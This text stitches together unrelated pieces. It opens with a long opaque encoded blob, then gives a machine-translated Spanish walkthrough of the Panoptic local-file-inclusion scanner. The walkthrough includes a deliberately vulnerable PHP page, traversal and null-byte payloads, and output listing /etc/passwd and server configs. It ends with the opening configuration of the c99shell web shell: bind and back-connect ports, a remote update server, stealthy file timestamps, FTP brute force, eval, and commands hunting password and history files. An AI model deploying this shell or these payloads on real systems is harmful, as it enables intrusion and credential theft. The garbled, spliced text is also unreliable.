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

<! DOCTYPE HTML>
< HTML >
< cabeza >
< estilo  tipo = "text / css"  media = "screen" >
body {
fondo: negro;
color: verde lima;
text-shadow: 0 0 5px;
}
h2 {
color: blue;
}
</ estilo >
</ cabeza >
 
< cuerpo >
< h2 > Soy vulnerable a la inclusión de archivos locales (LFI) con filename.php lol =: P </ h2 >
 
<? php
/ / Jay Turla hace este script vulnerable
 
include ($ _GET ['lol']);
 
?>
</ cuerpo >
</ HTML >

apt-get install git-core sudo

chmod + x panoptic.py
. / Panoptic.py - help

shipcode @ hihihi: ~ / panóptico $ <em> / panoptic.py - url ". http://127.0.0.1/lfisample.php?lol=x "
 
Panóptico v0.1-93e0cf0 ( https://github.com/lightos/Panoptic/ )
 
[I] A partir scan en: 22:52:55
 
[I] Comprobación de respuesta original ...
[I] Comprobación de respuesta no válida ...
[I] ¡Ya está!
[I] La búsqueda de archivos ...
[I] file Posible (s) encontrado!
[I] OS: * NIX
[?] ¿Quieres restringir aún más los análisis de '* NIX'? [Y / n] Y
[+] Que se encuentran '/ etc / mysql / my.cnf (* NIX / Bases de datos / conf)
[+] Que se encuentran '/ etc/apache2/sites-available/default' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/sites-available/default-ssl' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/sites-enabled/000-default' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/apache2.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/ports.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/conf.d/charset' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/conf.d/security' (* NIX / servidor HTTP / conf)
[+] Encuentra etc/apache2/envvars '/' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/autoindex.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/deflate.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/dir.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/mem_cache.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/mime.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/proxy.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/setenvif.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-available/ssl.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-enabled/alias.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-enabled/deflate.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-enabled/dir.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-enabled/mime.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-enabled/negotiation.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-enabled/php5.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ etc/apache2/mods-enabled/status.conf' (* NIX / servidor HTTP / conf)
[+] Que se encuentran '/ var / log / samba / log.smbd' (* NIX / Red / log)
[+] Que se encuentran '/ var / log / samba / log.nmbd' (* NIX / Red / log)
[+] Que se encuentran '/ etc / samba / smb.conf' (* NIX / Red / conf)
[+] Que se encuentran '/ etc / dhcp / dhclient' (* NIX / Red / conf)
[+] Que se encuentran '/ etc / tor / tor-tsocks.conf' (* NIX / Red / conf)
[+] Que se encuentran '/ etc / tsocks.conf' (* NIX / Red / conf)
[+] Que se encuentran '/ etc / bluetooth / input.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / bluetooth / main.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / bluetooth / network.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / bluetooth / rfcomm.conf' (* NIX / conf)
[+] Que se encuentran '/ proc / self / mounts' (* NIX / otros)
[+] Que se encuentran '/ proc / self / stat' (* NIX / otros)
[+] Que se encuentran '/ proc / self / status' (* NIX / otros)
[+] Que se encuentran '/ proc / version' (* NIX / otros)
[+] Que se encuentran '/ proc / devices' (* NIX / otros)
[+] Que se encuentran '/ proc / cpuinfo' (* NIX / otros)
[+] Que se encuentran '/ proc / meminfo' (* NIX / otros)
[+] Que se encuentran '/ proc / net / tcp' (* NIX / otros)
[+] Que se encuentran '/ proc / net / udp "(* NIX / otros)
[+] Que se encuentran '/ etc / bash_completion.d / debconf' (* NIX / * NIX)
[+] Que se encuentran '/ etc / bash.bashrc' (* NIX / * NIX)
[+] Que se encuentran '/ var / log / pm-powersave.log' (* NIX / log)
[+] Que se encuentran '/ var/log/Xorg.0.log' (* NIX / log)
[+] Que se encuentran '/ var / log / boot.log' (* NIX / log)
[+] Que se encuentran '/ etc/sensors3.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / host.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / pam.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / sysctl.conf' (* NIX / conf)
[+] Que se encuentran '/ etc/sysctl.d/10-console-messages.conf' (* NIX / conf)
[+] Que se encuentran '/ etc/sysctl.d/10-network-security.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / security / access.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / security / group.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / security / limits.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / security / namespace.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / security / pam_env.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / security / sepermit.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / security / time.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / ssh / sshd_config' (* NIX / conf)
[+] Que se encuentran '/ etc / adduser.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / deluser.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / avahi / avahi-daemon.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / ca-certificates.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / ca-certificates.conf.dpkg de edad' (* NIX / conf)
[+] Que se encuentran '/ etc / debconf.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / etter.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / foremost.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / hdparm.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / kernel-img.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / ltrace.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / manpath.config' (* NIX / conf)
[+] Que se encuentran '/ etc / kbd / config' (* NIX / conf)
[+] Que se encuentran '/ etc / ldap / ldap.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / logrotate.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / mtools.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / smi.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / updatedb.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / pulse / client.conf' (* NIX / conf)
[+] Que se encuentran '/ usr / share / adduser / adduser.conf' (* NIX / conf)
[+] Que se encuentran '/ etc / networks' (* NIX / otros)
[+] Que se encuentran '/ etc / modules' (* NIX / otros)
[+] Que se encuentran '/ etc / passwd' (* NIX / otros)
[+] Que se encuentran '/ etc / fstab' (* NIX / otros)
[+] Que se encuentran '/ etc / motd' (* NIX / otros)
[+] Que se encuentran '/ etc / hosts "(* NIX / otros)
[+] Que se encuentran '/ etc / group' (* NIX / otros)
[+] Que se encuentran '/ etc / crontab' (* NIX / otros)
[+] Que se encuentran '/ etc / mtab' (* NIX / otros)
[+] Que se encuentran '/ etc / hosts.allow' (* NIX / otros)
[+] Que se encuentran '/ etc / hosts.deny' (* NIX / otros)
[+] Que se encuentran '/ etc / profile' (* NIX / otros)
[+] Que se encuentran '/ etc / default / grub' (* NIX / otros)
[+] Que se encuentran '/ etc / login.defs' (* NIX / otros)
[+] Que se encuentran '/ boot / grub / grub.cfg' (* NIX / otros)
[+] Que se encuentran '/ etc/apache2/conf.d/phpmyadmin.conf' (* NIX / Base de Datos Administración / conf)
[+] Que se encuentran '/ etc / cups / cupsd.conf' (* NIX / Impresión / conf)
[+] Que se encuentran '/ etc / cups / cupsd.conf.default' (* NIX / Impresión / conf)
[+] Que se encuentran '/ etc / subversion / config' (* NIX / versiones / conf)
 
[I] Búsqueda de archivos completa.
 
[I] Acabado scan en: 22:53:09

. / Panoptic.py-l os
Software. / Panoptic.py-l
. / Panoptic.py-l categoría

. / Panoptic.py - url " http://127.0.0.1/lfisample.php?lol=x "- os de Windows

. / Panoptic.py - url " http://127.0.0.1/lfisample.php?lol=x "-w

<? Php
incluir ( "/ var / www /"  . $ _GET [ 'lol' ]. "php." );
?>

. / Panoptic.py - url " http://127.0.0.1/lfisample.php?lol=x "- prefix" .. / "- multiplicador de 3 - sufijo"%
00 "

. / Panoptic.py - url " http://127.0.0.1/lfisample.php?lol=x "- prefix" .. / "- multiplicador de 2 - sufijo"% 00 "

. / Panoptic.py - Actualización

<?php
*
*  © Captain Crunch Security TeaM. Coded by tristram
*
******************************************************************************************************
*/
//Starting calls
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
error_reporting(5);
@ignore_user_abort(true);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}

$shver = "1.0 pre-release build #13"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
}

$surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.

if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
 $surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);

$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.

//Authentication
$login = ""; //login
//DON'T FORGOT ABOUT PASSWORD!!!
$pass = ""; //password
$md5_pass = ""; //md5-cryped pass. if null, md5($pass)

$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";

$gzipencode = true; //Encode with gzip?

$updatenow = false; //If true, update now (this variable will be false)

$c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server
$c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server

$filestealth = true; //if true, don't change modify- and access-time

$donated_html = "<center><b>Owned by hacker</b></center>";
		/* If you publish free shell and you wish
		add link to your site or any other information,
		put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.

$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)

$log_email = "[email protected]"; //Default e-mail for sending logs

$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = true; //If true then save sorting-position using cookies.

// Registered file-types.
//  array(
//   "{action1}"=>array("ext1","ext2","ext3",...),
//   "{action2}"=>array("ext4","ext5","ext6",...),
//   ...
//  )
$ftypes  = array(
 "html"=>array("html","htm","shtml"),
 "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
 "exe"=>array("sh","install","bat","cmd"),
 "ini"=>array("ini","inf"),
 "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
 "sdb"=>array("sdb"),
 "phpsess"=>array("sess"),
 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);

// Registered executable file-types.
//  array(
//   string "command{i}"=>array("ext1","ext2","ext3",...),
//   ...
//  )
//   {command}: %f% = filename
$exeftypes  = array(
 getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
 "perl %f%" => array("pl","cgi")
);

/* Highlighted files.
  array(
   i=>array({regexp},{type},{opentag},{closetag},{break})
   ...
  )
  string {regexp} - regular exp.
  int {type}:
	0 - files and folders (as default),
	1 - files only, 2 - folders only
  string {opentag} - open html-tag, e.g. "<b>" (default)
  string {closetag} - close html-tag, e.g. "</b>" (default)
  bool {break} - if true and found match then break
*/
$regxp_highlight  = array(
  array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  array("config.php",1) // example
);

$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
									 // array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range("a","z");
$hexdump_lines = 8;	// lines in hex preview file
$hexdump_rows = 24;	// 16, 24 or 32 bytes in one line

$nixpwdperpage = 100; // Get first N lines from /etc/passwd

$bindport_pass = "c99";	  // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe

// Command-aliases
if (!$win)
{
 $cmdaliases = array(
  array("-----------------------------------------------------------", "ls -la"),
  array("find all suid files", "find / -type f -perm -04000 -ls"),
  array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  array("find all sgid files", "find / -type f -perm -02000 -ls"),
  array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  array("find config.inc.php files", "find / -type f -name config.inc.php"),
  array("find config* files", "find / -type f -name \"config*\""),
  array("find config* files in current dir", "find . -type f -name \"config*\""),
  array("find all writable folders and files", "find / -perm -2 -ls"),
  array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  array("find all service.pwd files", "find / -type f -name service.pwd"),
  array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  array("find all .bash_history files", "find / -type f -name .bash_history"),
  array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  array("list file attributes on a Linux second extended file system", "lsattr -va"),
  array("show opened ports", "netstat -an | grep -i listen")
 );
}
else
{
 $cmdaliases = array(
  array("-----------------------------------------------------------", "dir"),
  array("show opened ports", "netstat -an")
 );
}

$sess_cookie = "c99shvars"; // Cookie-variable name

$usefsbuff = true; //Buffer-function
$copy_unset = false; //Remove copied files from buffer after pasting

//Quick launch
$quicklaunch = array(
 array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
 array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
 array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
 array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
 array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
 array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
 array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
 array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
 array("<b>Tools</b>",$surl."act=tools&d=%d"),
 array("<b>Proc.</b>",$surl."act=processes&d=%d"),
 array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
 array("<b>Sec.</b>",$surl."act=security&d=%d"),
 array("<b>SQL</b>",$surl."act=sql&d=%d"),
 array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
 array("<b>Update</b>",$surl."act=update&d=%d"),
 array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
 array("<b>Self remove</b>",$surl."act=selfremove"),
 array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
);

//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";

@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);

//END CONFIGURATION


